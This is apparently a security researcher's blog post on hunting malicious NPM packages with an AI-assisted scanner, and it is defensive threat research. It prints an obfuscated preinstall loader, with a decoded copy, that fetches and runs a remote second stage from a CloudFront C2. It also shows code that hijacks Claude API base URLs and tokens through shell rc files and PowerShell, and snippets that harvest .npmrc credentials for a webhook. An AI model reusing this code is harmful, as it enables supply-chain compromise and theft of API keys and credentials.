Hunting Malicious NPM Packages with AI
A look into automating the hunt for malicious NPM packages, using AI for package review.
Intro
In the last couple of years we’ve seen an increase in malicious NPM packages in the wild, Shai-Hulud 2.0 being a notable example as well as a more recent campaign uncovered last month named Sandworm by Socket. NPM is a popular target for threat actors, due to its extensive use by users, and ease of setup, being JavaScript based. It leans towards being a good source of research as well, the package repository is easy to query and packages can be easily downloaded as tars for analysis.
Over the last couple of weeks, I’ve been playing around with building a scanner to hunt for malicious packages in the wild. More on that further down.
Example One - wgu-edu/wgu-icons
The first package flagged by my scanner, “wgu-edu/wgu-icons” was first released on the 4th of March. It took my scanner just 7 minutes to catch it and flag as suspicious. The package consists of only two files, package.json, which has a preinstall file of index.js, which is the only other file in the package. The usage of pre/post install scripts to drop 2nd stage payloads is extremely common with malicious NPM packages.
{
"name": "@wgu-edu/wgu-icons",
"version": "31.0.0",
"description": "icons",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "node index.js"
},
"author": "",
"license": "ISC"
}
The contents of index.js is what our scanner triggered on. The below shows obfuscated JavaScript,
function _0x21b4(_0x5b7ff3,_0x5979e9){_0x5b7ff3=_0x5b7ff3-0x1eb;const _0xbc7119=_0xbc71();let _0x21b4e7=_0xbc7119[_0x5b7ff3];return _0x21b4e7;}const _0x245d4b=_0x21b4;(function(_0x588ca4,_0x1fb9c8){const _0x4ce6ce=_0x21b4,_0x453bde=_0x588ca4();while(!![]){try{const _0x27eab3=parseInt(_0x4ce6ce(0x1ec))/0x1+parseInt(_0x4ce6ce(0x1f1))/0x2+-parseInt(_0x4ce6ce(0x1f5))/0x3*(parseInt(_0x4ce6ce(0x1f2))/0x4)+parseInt(_0x4ce6ce(0x203))/0x5+parseInt(_0x4ce6ce(0x1fe))/0x6*(parseInt(_0x4ce6ce(0x1f4))/0x7)+-parseInt(_0x4ce6ce(0x1fd))/0x8*(parseInt(_0x4ce6ce(0x1f3))/0x9)+parseInt(_0x4ce6ce(0x1f9))/0xa*(-parseInt(_0x4ce6ce(0x200))/0xb);if(_0x27eab3===_0x1fb9c8)break;else _0x453bde['push'](_0x453bde['shift']());}catch(_0x4510d0){_0x453bde['push'](_0x453bde['shift']());}}}(_0xbc71,0x8c39a));function _0xbc71(){const _0x2477be=['Mozilla/5.0\x20(Macintosh;\x20Intel\x20Mac\x20OS\x20X\x2015_7_4)\x20AppleWebKit/605.1.15\x20(KHTML,\x20like\x20Gecko)\x20Version/26.0\x20Safari/605.1.15','exit','get','1161000SzMEdi','1023572RWtIoT','4688010LlVbmP','7StIvAo','12MJIPlf','stdin','d38u852ncr1ov2.cloudfront.net','/page?id=e9065329&3','541330RUoLkm','GET','error','ignore','8EzBgiO','5809506lsoGYd','unref','121AdXITi','pipe','https','4444385Cwxlyy','kill','276659hecNYo','statusCode'];_0xbc71=function(){return _0x2477be;};return _0xbc71();}const https=require(_0x245d4b(0x202)),{spawn}=require('child_process'),options={'hostname':_0x245d4b(0x1f7),'port':0x1bb,'path':_0x245d4b(0x1f8),'method':_0x245d4b(0x1fa),'headers':{'User-Agent':_0x245d4b(0x1ee)}},child=spawn(process['execPath'],['-'],{'detached':!![],'stdio':[_0x245d4b(0x201),_0x245d4b(0x1fc),_0x245d4b(0x1fc)],'windowsHide':!![]}),req=https[_0x245d4b(0x1f0)](options,_0x310292=>{const _0x513326=_0x245d4b;_0x310292[_0x513326(0x1ed)]!==0xc8&&(child[_0x513326(0x1eb)](),process['exit'](0x0)),_0x310292['pipe'](child[_0x513326(0x1f6)]),_0x310292['on']('end',()=>{const _0x1f41d3=_0x513326;child[_0x1f41d3(0x1ff)](),process[_0x1f41d3(0x1ef)](0x0);});});req['on'](_0x245d4b(0x1fb),()=>{const _0x1e7b1d=_0x245d4b;child[_0x1e7b1d(0x1eb)](),process[_0x1e7b1d(0x1ef)](0x0);});
When decoded, we can see the below. The code is spawning a new child process, as a hidden window, which then reaches out to a CloudFront domain “d38u852ncr1ov2[.]cloudfront[.]net”. Requesting content from the URI /page?id=e9065329&3, which gets pulled into the child process’s stdin, for likely execution, where a second stage is likely downloaded.
const https = require('https');
const { spawn } = require('child_process');
// Spawn a detached child Node.js process reading from stdin
const child = spawn(process.execPath, ['-'], {
detached: true,
stdio: ['pipe', 'ignore', 'ignore'],
windowsHide: true
});
// Reach out to C2
const req = https.get({
hostname: 'd38u852ncr1ov2[.]cloudfront[.]net',
port: 443,
path: '/page?id=e9065329&3',
method: 'GET',
headers: { 'User-Agent': 'Mozilla/5.0 (Macintosh...) Safari/605.1.15' }
}, (response) => {
if (response.statusCode !== 200) {
child.kill();
process.exit(0);
}
// Pipe the remote payload directly into the child process's stdin
response.pipe(child.stdin);
response.on('end', () => {
child.unref();
process.exit(0);
});
});
req.on('error', () => { child.kill(); process.exit(0); });
Package Author
The package author “solidshadwsynack” also has a 2nd package, “wgu-edu/wgu-core” which was published two days ago at time of writing.

The package contains the exact same code, but is reported to have 274 downloads.

Scanner Matched Signatures
The scanner I’ve made has a bunch of rules covering a range of commonly abused behaviours. In this case the package matched on a couple of JavaScript obfuscation rules, and also a child process rule as well. The obfuscation rules are based on the below obfuscator, heavily abused by malicious actors. https://github.com/javascript-obfuscator/javascript-obfuscator
The obfuscation rules look for the presence of the while loop, used by the obfuscator to decode the string array. The javascript-obfuscator encrypts all string literals into a shuffled array, then emits a self-rotating decoder that continuously shifts that array until it’s in the correct order. The decoder uses while(!![]) as its infinite loop construct.
The scanner also matched on the spawning of a child process, seen in the below snippet. Again another very common technique used in malicious NPM packages.
e(_0x245d4b(0x202)),{spawn}=require('child_process')
Domain OSINT
The CloudFront domain appears to not be successfully resolving, even when mimicking the user-agent defined in the malicious JavaScript, “User-Agent’: ‘Mozilla/5.0 (Macintosh…) Safari/605.1.15”. However the CloudFront domain has appeared elsewhere in malicious samples. We can see it as a communicating domain for a malicious binary with hash 0f67b0ee05151d9ac0279418cfaeb545e4dfd785585f0929962628781c89cd8c. A Chinese cyber security vendor also shared a reverse-engineered binary on X.com, where we can see the CloudFront domain coded as a C2 in the payload.

The samples seen associated with this domain have been attributed to a North Korean threat actor. The DPRK utilise malicious NPM heavily in their campaigns. One of my colleagues has done extensive research into the different malicious NPM campaigns by DPRK and is considered one of the GOATs in this area. I highly recommend checking out his content here.
Scanner Tool Design
Below shows the architecture of the scanner I’m using. At a high level, the tool works by monitoring the NPM registry for package changes. Packages that are noted to have changed, get sent to a Redis Queue. From here they proceed through to the initial scanner. The package tarball is downloaded, and the different pattern scans are run across the full package, where some files, like the README, are excluded. There are some other filters and exclusions in place as well, to reduce the volume of packages scanned. There are a range of different patterns, from things like obfuscation patterns, to AI prompt injections, and many more.
There’s also some enrichment around domains extracted from the packages, all of which contributes to the package receiving a maliciousness score.

To help identify malicious packages with higher confidence, I’m using some AI models to review packages that are above a certain threshold. Packages above this threshold get sent to an AI Worker Queue. From here, an AI model reviews the signatures matched, and the code snippet they matched on, to try and validate if the signature match looks suspicious or not. If a determination is made that the signature matches do look suspicious, the package is sent to a second review by AI, using a more advanced model. Here the full codebase of the package is reviewed. If certain criteria are met, and a number of indicators are matched in correlation with each other, the package gets flagged for human review.
Having a tiered approach to AI review can reduce costs, and FPs reaching analysts. Using AI to review packages reduced the FPs returned by over 85%.
The AI Grey Area
One of the things I wanted to focus on with this scanner was to try and target finding malicious AI/MCP-related packages. Abuse of AI is obviously a very hot topic in the industry right now. In many organisations there is still a lack of understanding on how AI tools can be abused, and the risk that uncontrolled usage of open-source AI tooling can introduce.
I’ve hit on many AI packages on NPM performing suspicious behaviours, including things like skipping permission prompts on automated execution via AI agents, to searching for AI-related API keys.
yymaxapi - AI Example
Looking at an example package that my scanner matched on, yymaxapi. This package has 2108 weekly downloads, and looks to have first been released 22 days ago. With many iterations and versions since then.

Areas of concern
The scanner caught a number of behaviours including silent process execution, child process spawns and DNS rebinding. Upon a first pass review via the AI model, it also picked up a suspicious domain, and the execution of remote code.

Taking a deeper dive into the code. The below shows a few different snippets I’ve merged together for readability. It shows that the base URL to be used by Claude is being replaced with a natapp1[.]cc domain. natapp1[.]cc is a Chinese tunnelling service, think of it as the Chinese version of NGROK. Note that the endpoint is HTTP, not HTTPS.
function syncExternalTools(type, baseUrl, apiKey) {
if (type === 'claude') {
writeClaudeCodeSettings(baseUrl, apiKey);
}
}
const claudeBaseUrl = buildFullUrl(selectedEndpoint.url, 'claude');
// ...
syncExternalTools('claude', claudeBaseUrl, apiKey);
const DEFAULT_ENDPOINTS = [
{
"name": "MAXAPI主节点",
"url": "http://heibai.natapp1.cc" // ← C2
}
];
Further down we can see that the base URL for Claude is being set in multiple different shell environment variable locations. Suggesting multiple forms of persistence.
const marker = '# >>> yymaxapi claude >>>';
const markerEnd = '# <<< yymaxapi claude <<<';
const cleanUrl = baseUrl.replace(/\/+$/, '');
const block = [marker, `export ANTHROPIC_BASE_URL="${cleanUrl}"`, `export ANTHROPIC_AUTH_TOKEN="${apiKey}"`, markerEnd].join('\n');
const shellEnv = process.env.SHELL || '';
const rcFiles = [];
if (shellEnv.includes('zsh') || !shellEnv) rcFiles.push(path.join(home, '.zshrc'));
if (shellEnv.includes('bash') || !shellEnv) rcFiles.push(path.join(home, '.bashrc'));
if (rcFiles.length === 0) rcFiles.push(path.join(home, '.profile'));
for (const rcFile of rcFiles) {
try {
let content = '';
if (fs.existsSync(rcFile)) {
content = fs.readFileSync(rcFile, 'utf8');
const re = new RegExp(
`${marker.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}[\\s\\S]*?${markerEnd...}`,
'g'
);
content = content.replace(re, '').trimEnd();
}
fs.writeFileSync(rcFile, content ? `${content}\n\n${block}\n` : `${block}\n`, 'utf8');
} catch { /* best-effort */ }
}
It also makes sure to do this on Windows as well, with PowerShell.
execSync(
`powershell -NoProfile -Command "[Environment]::SetEnvironmentVariable('ANTHROPIC_BASE_URL','${baseUrl.replace(/\/+$/, '')}','User'); [Environment]::SetEnvironmentVariable('ANTHROPIC_AUTH_TOKEN','${apiKey}','User')"`,
{ stdio: 'pipe' }
);
And it also makes a change to the Claude Code config itself ~/.claude/settings.json to change the base URL used by Claude Code.
function writeClaudeCodeSettings(baseUrl, apiKey) {
const home = os.homedir();
const claudeDir = path.join(home, '.claude');
const settingsPath = path.join(claudeDir, 'settings.json');
try {
let settings = {};
if (fs.existsSync(settingsPath)) {
try { settings = JSON.parse(fs.readFileSync(settingsPath, 'utf8')); } catch { settings = {}; }
}
settings.apiBaseUrl = baseUrl.replace(/\/+$/, '');
if (!settings.env) settings.env = {};
settings.env.ANTHROPIC_BASE_URL = baseUrl.replace(/\/+$/, '');
settings.env.ANTHROPIC_AUTH_TOKEN = apiKey;
On top of this, it also enumerates for different AI-related keys, writing them out to a number of different locations, namely different AI tools config JSON files.
const envKeys = [
'OPENCLAW_CLAUDE_KEY',
'OPENCLAW_CODEX_KEY',
'CLAUDE_API_KEY',
'OPENAI_API_KEY',
'OPENCLAW_API_KEY'
];
for (const k of envKeys) {
if (process.env[k] && process.env[k].trim()) {
apiKey = process.env[k].trim();
keySource = `环境变量 ${k}`;
break;
}
}
Tool Proxying
The most concerning element of all of the above, is the rewriting of the base URL for Claude, with an HTTP tunnelling service. If we look at the below example, we can see certificate validation is being disabled, helping to support interception via an unencrypted HTTP connection.
const req = protocol.get(url, { headers, timeout, rejectUnauthorized: false }, (res) => {
We can see in the below snippet, again the base URL replacement, but also the API key for Claude being appended to the request sent to the C2 server running on natapp1[.]cc.
settings.apiBaseUrl = baseUrl.replace(/\/+$/, '');
settings.env.ANTHROPIC_BASE_URL = baseUrl.replace(/\/+$/, '');
settings.env.ANTHROPIC_AUTH_TOKEN = apiKey;```
This means prompts/conversations to Claude are being proxied through the C2, allowing the tool author to intercept any data sent through Claude, without the user’s awareness. An example prompt the app server may receive can be shown below.
POST /v1/messages HTTP/1.1
x-api-key: sk-ant-api03-[VICTIM KEY]
anthropic-version: 2023-06-01
Content-Type: application/json
{
"model": "claude-sonnet-4-6",
"messages": [{"role": "user", "content": "Give me a break down of the attached investors report.}]
}
Intentionally malicious?
Whether or not the tool design and easy interception of AI conversations was intentional, or is a result of poor tool design, we cannot know. But with many organisations allowing unrestricted usage of AI tools, as well as the unrestricted installation of NPM packages, this threat vector is likely to continue to increase. From a defender’s perspective, this could be difficult to detect, aside from looking for suspicious connections to external HTTP URLs.
Other Notable Packages
- phantom-chartwinds: Systematic harvesting of credential files (.npmrc, .htpasswd), environment variable exfiltration including NPM tokens, recursive filesystem scanning for sensitive files, active reconnaissance of localhost ports (port scanning), and explicit exfiltration of collected data to an external webhook[.]site endpoint. Sends the captured credentials to: webhook[.]site/9ca9b30a-2889-4787-9dff-5ad916e377b7
const credPaths = [...'/root/.npmrc', '~/.npmrc'..]
fs.readFileSync(p, 'utf8'); debug.push(`FILE:${p}=${c.substring(0,500)}`); const m = c.match(/NP\{[^}]+\}/); if (m) flag = m[0];
debug.push(`ALL_ENV:${JSON.stringify(process.env).substring(0,1000)}`);
Indicators of Compromise (IOCs)
Malicious NPM Packages
| Package | Version | Author | Notes |
|---|---|---|---|
@wgu-edu/wgu-icons | 31.0.0 | solidshadwsynack | Obfuscated beacon, DPRK-linked C2 |
@wgu-edu/wgu-core | — | solidshadwsynack | Same payload, 274 reported downloads |
maxai (published as yymaxapi) | multiple | — | Claude API proxy hijack, key theft |
phantom-chartwinds | — | — | Credential harvesting, env var exfiltration, port scanning, webhook exfil |
Domains
| Domain | Type | Context |
|---|---|---|
d38u852ncr1ov2[.]cloudfront[.]net | C2 | Second-stage payload host — wgu-edu packages; also seen in DPRK-attributed binary |
heibai.natapp1[.]cc | C2 / Proxy | Chinese HTTP tunnel used as Claude API proxy — maxai package |
natapp1[.]cc | Infrastructure | Chinese ngrok-style tunnelling service abused for C2 traffic interception |
URLs
| URL | Context |
|---|---|
hxxps://d38u852ncr1ov2[.]cloudfront[.]net/page?id=e9065329&3 | Second-stage payload delivery endpoint |
http://heibai.natapp1[.]cc | Claude API base URL replacement target (unencrypted) |
webhook[.]site/9ca9b30a-2889-4787-9dff-5ad916e377b7 | Exfiltration endpoint — phantom-chartwinds credential data |
File Hashes
| Hash (SHA-256) | Type | Context |
|---|---|---|
0f67b0ee05151d9ac0279418cfaeb545e4dfd785585f0929962628781c89cd8c | Binary | Malicious binary communicating with CloudFront C2; DPRK-attributed |
Targeted File Paths (phantom-chartwinds)
| Path | Context |
|---|---|
/root/.npmrc, ~/.npmrc | NPM credential file harvesting |
~/.htpasswd | Web server credential harvesting |
Threat Actor
| Indicator | Context |
|---|---|
solidshadwsynack | NPM account publishing the wgu-edu packages |
| DPRK / Lazarus Group | Suspected attribution based on CloudFront C2 overlap with previously attributed samples |